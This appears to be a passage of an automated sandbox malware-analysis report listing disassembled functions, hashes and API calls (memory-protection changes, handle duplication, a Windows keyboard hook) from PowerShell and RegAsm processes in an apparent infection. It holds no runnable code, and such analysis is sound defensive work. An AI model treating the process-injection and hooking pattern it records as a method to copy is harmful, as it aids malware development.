Instruction ID: 2c620310e56157f38a5aa2208d235b8db00aec76ce827ffe451267f268a37b41
Opcode Fuzzy Hash: 7f690d01a04e7fb58aedd2577a5393580ebcb75ae563d0bf81191410b89ff455
Instruction Fuzzy Hash: AA51D322F0EE970BEBE99A6818F12F566C2EF86350F5805BED65EC71D3DD1CA801D241

Function 00007FFD34614D1A Relevance: .1, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2355395276.00007FFD34610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34610000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d4043e8462690ce2bc5c735755b861fba4d9886042299761c4a02681620cc6
Instruction ID: 4bdb49ef32e4c4326739a76036f125742b4a2c504ff073ba033207cef3bd79c8
Opcode Fuzzy Hash: e6d4043e8462690ce2bc5c735755b861fba4d9886042299761c4a02681620cc6
Instruction Fuzzy Hash: 8E41D413F0EE971BFBEA9A2814F52F452C2EF96350F9805BAD65EC31D2DD1CA8419241

Function 00007FFD346150D0 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2355395276.00007FFD34610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34610000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5de6632f76376789a06bd66e4a6f3c108a78c079d52c2b4363a0e5bc31d82f8
Instruction ID: ae5e7a789987507d7a487f3cf83a438e4b71edc07d49507133ed7fe9533ccc4d
Opcode Fuzzy Hash: d5de6632f76376789a06bd66e4a6f3c108a78c079d52c2b4363a0e5bc31d82f8
Instruction Fuzzy Hash: 1B21F632B0CA290FEBE59A5C64B65F9F3D2EF95220B5402B7D50EC3296DD1DA851C3C0

Function 00007FFD346150F1 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2355395276.00007FFD34610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34610000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7057e7ae3ccecaabcc09f52d50d075f629167201a293ac9cfdc7c1501a26ee4
Instruction ID: 2dc0d4868ad11547a10953d972b55aa10352e3d9b97cd8267079d50e8df291b2
Opcode Fuzzy Hash: a7057e7ae3ccecaabcc09f52d50d075f629167201a293ac9cfdc7c1501a26ee4
Instruction Fuzzy Hash: 42F02723F4D96A0AF7E6E95C38B71F893C2EF96634B5802B3D55DC3292DC08AC118380

Non-executed Functions

Function 00007FFD3454EA58 Relevance: 8.4, Strings: 6, Instructions: 935COMMON

Download Yara Rule

Strings

"'~4, xrefs: 00007FFD345703FB
"'~4, xrefs: 00007FFD345700A2
"'~4, xrefs: 00007FFD345704F3
"'~4, xrefs: 00007FFD34570347
"'~4, xrefs: 00007FFD34570478
"'~4, xrefs: 00007FFD345701B9

Memory Dump Source

Source File: 00000005.00000002.2353904905.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34540000_powershell.jbxd

Similarity

API ID:
String ID: "'~4$"'~4$"'~4$"'~4$"'~4$"'~4
API String ID: 0-1221630383
Opcode ID: 1ad2edd657cfbe134969f5cd05be8fe6eff89fc77e47bc44220fe9b9dc950338
Instruction ID: 506a5808bf210d9e0dbfee9892469e47e7f711d4ebc7650a2dc32e8ead001a1c
Opcode Fuzzy Hash: 1ad2edd657cfbe134969f5cd05be8fe6eff89fc77e47bc44220fe9b9dc950338
Instruction Fuzzy Hash: EC420422F1C9464BE75DA71898A66B977C1FF9A714F04417EE18EC72C3DE2CE8428781

Function 00007FFD3456D400 Relevance: 4.4, Strings: 3, Instructions: 664COMMON

Download Yara Rule

Strings

`T}4, xrefs: 00007FFD3456F71A
`T}4, xrefs: 00007FFD3456F8C2
`T}4, xrefs: 00007FFD3456F7E6

Memory Dump Source

Source File: 00000005.00000002.2353904905.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34540000_powershell.jbxd

Similarity

API ID:
String ID: `T}4$`T}4$`T}4
API String ID: 0-2954441546
Opcode ID: 8e3fc92476117eed1fd45c49e4850bbfdf9748aa8fba43695702134b68db5e82
Instruction ID: a627a0bdf8aa6cfccee34da95b7512c0763b4e22a5d07d7f3ee2c3c06236dc60
Opcode Fuzzy Hash: 8e3fc92476117eed1fd45c49e4850bbfdf9748aa8fba43695702134b68db5e82
Instruction Fuzzy Hash: 7A226171A1CB4A4FE7B9DF1C949567AB3E1EB99311F10467ED08DC3291DE38E8428782

Function 00007FFD345773C0 Relevance: 3.2, Strings: 2, Instructions: 697COMMON

Download Yara Rule

Strings

`T}4, xrefs: 00007FFD3457D791
q|4, xrefs: 00007FFD3457D39E

Memory Dump Source

Source File: 00000005.00000002.2353904905.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34540000_powershell.jbxd

Similarity

API ID:
String ID: q|4$`T}4
API String ID: 0-1876357954
Opcode ID: 4950148a25f5dd05620473e0d372d47a5254b5d378342c9e858358965b82b863
Instruction ID: 9228881207ba7261a78a39f560f51e3a20b37fc034527dec606fca5dcbfcd738
Opcode Fuzzy Hash: 4950148a25f5dd05620473e0d372d47a5254b5d378342c9e858358965b82b863
Instruction Fuzzy Hash: 8A22D331A0CB854FE75AEB2888A56657FE1EF57310B1941FAD089CB1D3DE2CAC46C742

Function 00007FFD3454195D Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

-O_, xrefs: 00007FFD34541A04

Memory Dump Source

Source File: 00000005.00000002.2353904905.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34540000_powershell.jbxd

Similarity

API ID:
String ID: -O_
API String ID: 0-923700732
Opcode ID: c8aa51fa2e1c7aae00bfbda1d0c09f98e8177fa32c13c62e4dc9af2c12e4978d
Instruction ID: dcdec69d051e2aed45ad166aae38a0077b7ccc089c247af8e379f3807314e078
Opcode Fuzzy Hash: c8aa51fa2e1c7aae00bfbda1d0c09f98e8177fa32c13c62e4dc9af2c12e4978d
Instruction Fuzzy Hash: 4941B617E0D7C25BEB23A67A58BA0D63FA0DF5326470910F7C685CE197DD0C590AA252

Analysis Process: RegAsm.exePID: 4508, Parent PID: 4016COMMON

Execution Graph

Execution Coverage:	12.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	37.5%
Total number of Nodes:	8
Total number of Limit Nodes:	0

Executed Functions

Function 01582F19 Relevance: 2.0, APIs: 1, Instructions: 459
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 015833F9

Memory Dump Source

Source File: 00000009.00000002.4581555710.0000000001580000.00000040.00000800.00020000.00000000.sdmp, Offset: 01580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1580000_RegAsm.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 4bfe1d52738b4407fa8e6db27bc97bd409eee8446af353f79d0e4ef06d50d620
Instruction ID: 503f68d21d8046449697952704dd21c28297f3c3cbb9f8bddb634a54a9254e97
Opcode Fuzzy Hash: 4bfe1d52738b4407fa8e6db27bc97bd409eee8446af353f79d0e4ef06d50d620
Instruction Fuzzy Hash: 09E1A731F0430A87DB94EAAD8C903AE76E37FC4624F588239E916EF3C5EA74D8019741

Function 01583370 Relevance: 1.6, APIs: 1, Instructions: 63
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 015833F9

Memory Dump Source

Source File: 00000009.00000002.4581555710.0000000001580000.00000040.00000800.00020000.00000000.sdmp, Offset: 01580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1580000_RegAsm.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 5cf56e7b92f79fb8dd27bee754163966be3bb4b8d68e9905279bc7616c252fc0
Instruction ID: af5eab64a8021cb56885a8841cbd23c3c623c46854bfc6f0f2d1e5ea01185c97
Opcode Fuzzy Hash: 5cf56e7b92f79fb8dd27bee754163966be3bb4b8d68e9905279bc7616c252fc0
Instruction Fuzzy Hash: 252103B1D013499FDB10DFAAD984ADEFBF4FF48710F20842AE519A7210CB75A910CBA0

Function 0158985F Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.4581555710.0000000001580000.00000040.00000800.00020000.00000000.sdmp, Offset: 01580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1580000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3798277329d5accdad4e5be155475c0854188f22c29e916de3a1faa7e5326638
Instruction ID: 7303a608457e4bd0fd0646ff124c0c6c3633f2def2502f801454ad5b1848d4ad
Opcode Fuzzy Hash: 3798277329d5accdad4e5be155475c0854188f22c29e916de3a1faa7e5326638
Instruction Fuzzy Hash: EC411774A10245DFEB05DF64E985AA97FF9FB88301F11806AF941AB381CB785911EF22

Function 01589799 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01589827

Memory Dump Source

Source File: 00000009.00000002.4581555710.0000000001580000.00000040.00000800.00020000.00000000.sdmp, Offset: 01580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1580000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 266e43779b245597ff6e7ee96e075cb1b163f9dff361770e9f9bfcd8369ca022
Instruction ID: ba846c83abed30967b77cf3953466c573f9ffeb7492bb47318729021361a7e75
Opcode Fuzzy Hash: 266e43779b245597ff6e7ee96e075cb1b163f9dff361770e9f9bfcd8369ca022
Instruction Fuzzy Hash: 552103B6900249DFDB10CF9AD984ADEBFF4FB48320F14841AE918A7310D378A940CFA0

Function 015897A0 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01589827

Memory Dump Source

Source File: 00000009.00000002.4581555710.0000000001580000.00000040.00000800.00020000.00000000.sdmp, Offset: 01580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1580000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 936d42ed3253f48098dbe1b9cdb19fce62b3ecb2609fde55d953d897dfc52ab9
Instruction ID: 8aa8c96f34dad9e9c8f87c53113f8c29ef7af750239a25f5a42c1c2e09413aea
Opcode Fuzzy Hash: 936d42ed3253f48098dbe1b9cdb19fce62b3ecb2609fde55d953d897dfc52ab9
Instruction Fuzzy Hash: 5521B3B5900249DFDB10CF9AD984ADEBBF4FB48324F14841AE914A7210D774A954CFA5

Function 01583CF0 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 01583D73

Memory Dump Source

Source File: 00000009.00000002.4581555710.0000000001580000.00000040.00000800.00020000.00000000.sdmp, Offset: 01580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1580000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: bf8754864f12ddd9d7d9df2da6c3bcb875d25d658a47389535ff293040e6e241
Instruction ID: 9c07ee65f712bcf12a1f39f7b853a766bd55580a0efc8faef9d8afdcb0fd8668
Opcode Fuzzy Hash: bf8754864f12ddd9d7d9df2da6c3bcb875d25d658a47389535ff293040e6e241
Instruction Fuzzy Hash: 172134B59002499FDB14DFAAC844BDEBBF4BF88720F10842AE519B7250CB74A944CFA0

Function 01583CF8 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 01583D73

Memory Dump Source

Source File: 00000009.00000002.4581555710.0000000001580000.00000040.00000800.00020000.00000000.sdmp, Offset: 01580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1580000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 6f1b9eb57853fe5ff8bd64cfbc6444e03326d2e7c75463ef7b1ced0392cced32
Instruction ID: 01e75b33c29a3067a4317fda0f0369049306d8e13acb32eb5e68b208e788872b
Opcode Fuzzy Hash: 6f1b9eb57853fe5ff8bd64cfbc6444e03326d2e7c75463ef7b1ced0392cced32
Instruction Fuzzy Hash: 332115B59002499FDB54DF9AC844BDEBBF5BF88720F108419D519A7250CB74A944CFA1

Function 06D67287 Relevance: 1.3, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

G, xrefs: 06D6728C

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID: G
API String ID: 0-985283518
Opcode ID: 6950d350319b8db0f54ebe7af8f5d032ab1c706b31b73ebcb0dd8a997ca5de86
Instruction ID: 5a3a196e0025193f1de26b08d8115780002bc72a0f86cb9169741b35552650d5
Opcode Fuzzy Hash: 6950d350319b8db0f54ebe7af8f5d032ab1c706b31b73ebcb0dd8a997ca5de86
Instruction Fuzzy Hash: 9621D270710109AFDB28CB29C959BAE7BF6EF88708F250059F502EB391CB748D05CB90

Function 06D648C8 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9a728aeb1e25be66f6a82267d85d9caeab69152a298c08d4f53c916aa316169
Instruction ID: c822c4c050099aab0b974fff9ec7a523742884b52e7acbcfdedd3215610aae9b
Opcode Fuzzy Hash: e9a728aeb1e25be66f6a82267d85d9caeab69152a298c08d4f53c916aa316169
Instruction Fuzzy Hash: A8B19D74B102099FDB48DFBDC85066EBBE6FFC8210B24856AE909DB351DE70DC058BA1

Function 06D6286F Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7b6122bd5f87ce04816ae2089636f7bb6e50de7f7f37c5dc400d6c03d4a850b
Instruction ID: 462fa8a3ec023ea1a39a11946fe26c861158ea975b722492365323621545f57e
Opcode Fuzzy Hash: f7b6122bd5f87ce04816ae2089636f7bb6e50de7f7f37c5dc400d6c03d4a850b
Instruction Fuzzy Hash: 489103317042059FDB65CF26D884E6BBBB6FF89360B04856AF946CB352CB31D905CBA0

Function 06D66ED0 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35432e97263e3d1abad9f6b7f71bb1eb31164d69424a904821cfd3f9af89d125
Instruction ID: ee5e65db91e93026a7f7157a55f46781658dcddb8e6050eefb5f28616f4204c9
Opcode Fuzzy Hash: 35432e97263e3d1abad9f6b7f71bb1eb31164d69424a904821cfd3f9af89d125
Instruction Fuzzy Hash: AC91A030B102058FEB49EF79D49466E7BB2FFC8204B508569E906AB341EF799C46CB91

Function 06D62178 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 955ec95588066b5eeeb55d0b53876b29ae16c04dd6fecceeaae37bebada46ee2
Instruction ID: 967f8829f1eb750a87e70ae8d0e3e100ad2aaee26709413b1c1fc4fd9c4ce749
Opcode Fuzzy Hash: 955ec95588066b5eeeb55d0b53876b29ae16c04dd6fecceeaae37bebada46ee2
Instruction Fuzzy Hash: 74817E35B002068FDB58DF69D4547AEB7B2FB88311F148529E902E7391CB39DD51CB90

Function 06D66B18 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c81e73d87027cfe81c2cf966a60f4572498d8cb3f71ae5477d5f13d554994a4f
Instruction ID: 1efd0bb582cf46c6870b1a3f6063048caf45d0632c04f29c26895475497e9571
Opcode Fuzzy Hash: c81e73d87027cfe81c2cf966a60f4572498d8cb3f71ae5477d5f13d554994a4f
Instruction Fuzzy Hash: 55918F70E85241CFD786CF2BE84875B7BB2FB85315FD48A2AE4009B290C7749894CF82

Function 06D62EC8 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c17a7bac94378faf571a05b5f90cda7201083bf056ab1abcefd0f1c1b75b97e7
Instruction ID: 9acf1005750f42a34017e7c99082eb88ba024b47a47c73ff458f17ac03190626
Opcode Fuzzy Hash: c17a7bac94378faf571a05b5f90cda7201083bf056ab1abcefd0f1c1b75b97e7
Instruction Fuzzy Hash: B451BD71B002059FCB54EB7AD8509AEBBF6EFC9210B15806AE90AEB355DE30DD0587E1

Function 06D64620 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76c55f2b54e5d5053ff0a1150eed07f060c918be5f3ff3cfc59395c82de020e1
Instruction ID: 2c7a9f58ba87024496ba528df293a721787a9662d3e0135d0653dbae1f6b1096
Opcode Fuzzy Hash: 76c55f2b54e5d5053ff0a1150eed07f060c918be5f3ff3cfc59395c82de020e1
Instruction Fuzzy Hash: FE51B274A0060A9FCB50CFA9C8C4EAABBF6FF85314F51C169E5258B291D730E855CBE0

Function 06D667F0 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbe6f5bb5650243c6c297070f674ad04f5cbe2c1a8bd3275ce34a36312e8d27f
Instruction ID: cc90dd9c361da709d364a252728ffa0bfc8553b02465741335cf97f9fcc36bd6
Opcode Fuzzy Hash: cbe6f5bb5650243c6c297070f674ad04f5cbe2c1a8bd3275ce34a36312e8d27f
Instruction Fuzzy Hash: C0517870A00245DFE714CF2AD898B6ABBB6FF88715F504169F911AB3A0CB75EC41CB91

Function 06D65FF0 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbd841be3355b11fd16b014728b430cf7df17dcc041074f28679b3a8355db9e5
Instruction ID: 1537874d002d0161d381fa6c06e2a02fa6c0bed8ed0247a3d411bd5716a303f7
Opcode Fuzzy Hash: cbd841be3355b11fd16b014728b430cf7df17dcc041074f28679b3a8355db9e5
Instruction Fuzzy Hash: 08415878604445CFC78C5B1BDA1852ABB77FBC4A057288558E2469B255CB36EE22CBC3

Function 06D65FD9 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d05f23dcd6ebf1f2aded75847fef6f76d9fa08688e746de945701872fd18429f
Instruction ID: 6f0a08c9ad7f223f69c2a1c2c72d2216227252e3cf65c6c0079c96b9c537f0b9
Opcode Fuzzy Hash: d05f23dcd6ebf1f2aded75847fef6f76d9fa08688e746de945701872fd18429f
Instruction Fuzzy Hash: 5F41BD78604484CFC7895B1BDA14129BB73FFC46057288599E2469B696CB36EE23CBC3

Function 06D65C28 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3e5d12a4f02cbc208e12d43f1a28db1b9364f9731d07b2fa4827d565f452db
Instruction ID: c78eabc3e64eab54f745c53d6760a105f6c6187a040cfc31a6c5d3dfc5fef6f9
Opcode Fuzzy Hash: 4f3e5d12a4f02cbc208e12d43f1a28db1b9364f9731d07b2fa4827d565f452db
Instruction Fuzzy Hash: 8D41F171D01249DFDB54DFAAD984ADEBBF5BF88310F14802AE409AB254DB70A945CF90

Function 06D661B0 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c006f99e336b2a4f0a35b1d7ea87b001752ad5ccad6bd9a50a0ec6161b6d0855
Instruction ID: 191ec19965f425be15dca52fd45403d8e102cdacd0ba717ef3657ebbb47120aa
Opcode Fuzzy Hash: c006f99e336b2a4f0a35b1d7ea87b001752ad5ccad6bd9a50a0ec6161b6d0855
Instruction Fuzzy Hash: 9D419E74A00155CFCB54DFA5C884A6ABBB2FF88304F1584A9E855AB7A6C731EC41CBA1

Function 06D65C1C Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc6c4b564865b61074b9284aec2667c225a4dfe77d56f443c0cbde00b87be300
Instruction ID: 76dc8b8ec60bcffdf840e129af0c83a0562c130483b6d6c2600a4e0aba73e0a3
Opcode Fuzzy Hash: fc6c4b564865b61074b9284aec2667c225a4dfe77d56f443c0cbde00b87be300
Instruction Fuzzy Hash: FF41FF71D01249DFDB54CFAAD984BDEBBF5EF88300F24802AE409AB290DB709985CF50

Function 06D67335 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9198072fed589d9b9ffea821c9bb9ca23b0c980542cc29cf1cc7fa6af5b67f79
Instruction ID: f13762be82c1df1f48bd9ca7b941070ab757f6d34702ccadae0301a23371aecd
Opcode Fuzzy Hash: 9198072fed589d9b9ffea821c9bb9ca23b0c980542cc29cf1cc7fa6af5b67f79
Instruction Fuzzy Hash: A431B670B001099FD7149B6AD458BAEBEF6EFC8710F244059F502E7394CEB48C46CB90

Function 06D66ECE Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e98efd7a88ae3be58596ff9729420bcbd699d3297a9514853482ca8e9eaca7b
Instruction ID: 22620570efc7657d1865214bb153b4426fdc5679c6f75df0bf639169aa3d6f4d
Opcode Fuzzy Hash: 0e98efd7a88ae3be58596ff9729420bcbd699d3297a9514853482ca8e9eaca7b
Instruction Fuzzy Hash: B521D5347102418BEF099B3A985467E37A7EFC8209B048539DA06D7745FF79DC0A87D1

Function 012AD0FC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4579024359.00000000012AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_12ad000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f34cdc313d209c7fd697729afaaf288e2b41593e2970d5475f209406b761e4f0
Instruction ID: 0716b55acef574eb9df7533769df9bbf6d54548a1e6145eddc530affe6e6cb23
Opcode Fuzzy Hash: f34cdc313d209c7fd697729afaaf288e2b41593e2970d5475f209406b761e4f0
Instruction Fuzzy Hash: 3A2176B1110308EFDB05CF54C9C0B26BFA1FB84314F60C96CDA094B652C37AE446CA61

Function 012AD47C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4579024359.00000000012AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_12ad000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3276da4d7a221723d03e510c90573855a5cf4e84e4958c20d8a737bd1160ac1
Instruction ID: 732e0ae57c5736fe658741d1f31bfbc31f59fe388e582bbe3db8ece0d9c1db8d
Opcode Fuzzy Hash: b3276da4d7a221723d03e510c90573855a5cf4e84e4958c20d8a737bd1160ac1
Instruction Fuzzy Hash: AD21A671110208EFDB00DF54E9C0B26BB61FB84318F60C5ADEA090B652C376D806CB61

Function 012AD2CC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4579024359.00000000012AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_12ad000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3ec422465e93f3cf834a567b50efa6216485b13fd3c9ea794bab1a42ce13b36
Instruction ID: a9fbc683757eeb0988e49643bc5bcc5ac7efc795ab5e5916a99e2e1805c64056
Opcode Fuzzy Hash: e3ec422465e93f3cf834a567b50efa6216485b13fd3c9ea794bab1a42ce13b36
Instruction Fuzzy Hash: 652168B6114248EFDB01CF54D9C0B2ABF61FB84724F64C96DDA090BA42C7BAD406CEA1

Function 06D661A0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4605237261.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c710fc196427b7fad73184cd15f8babacee2ab2cd457b982253599da05db367a
Instruction ID: d036bd199dde9ea212a255046db6fa71cf9fbfd9faa6e0fbda2b4c5c36c90dcf
Opcode Fuzzy Hash: c710fc196427b7fad73184cd15f8babacee2ab2cd457b982253599da05db367a
